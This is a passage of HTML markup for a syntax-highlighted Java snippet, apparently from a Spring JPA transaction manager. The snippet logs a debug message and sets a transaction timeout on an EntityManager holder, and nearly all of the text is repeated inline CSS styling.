padding-top: 0px; vertical-align: baseline;">(</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">definition</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">if</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">timeout </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">!=</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">TransactionDefinition</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">TIMEOUT_DEFAULT</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">)</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">{</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">if</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">logger</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">isDebugEnabled</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">())</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">{</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
logger</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">debug</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"****setTimeoutinSeconds("</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">+</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> timeout
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">+</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">" seconds) to EntityManager("</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">+</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> txObject</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">getEntityManagerHolder</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">()</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">+</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"), the transaction begin time:"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">+</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">new</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Date</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">System</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">currentTimeMillis</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">()));</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">}</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
txObject</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">getEntityManagerHolder</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">().</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">setTimeoutInSeconds</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">timeout</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">}</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
